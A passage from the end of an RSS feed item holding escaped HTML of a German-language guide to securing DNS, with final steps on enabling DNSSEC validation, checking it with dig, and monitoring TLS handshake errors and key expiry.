&lt;li&gt;Schalten Sie DNSSEC‑Validierung in Ihrem Resolver ein und prüfen Sie &lt;code&gt;dig +dnssec&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Implementieren Sie ein Monitoring‑Alert (z. B. Prometheus + node_exporter) für TLS‑Handshake‑Fehler und DNSSEC‑Key‑Ablauf.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Damit ist Ihr DNS‑Stack nicht nur &lt;strong&gt;verschlüsselt&lt;/strong&gt;, sondern auch &lt;strong&gt;authentifiziert&lt;/strong&gt; – das Fundament einer sicheren Netzwerkarchitektur.&lt;/p&gt;

</description>
      <category>dns</category>
      <category>dot</category>
      <category>doh</category>
      <category>dnssec</category>
    </item>
  </channel>
</rss>
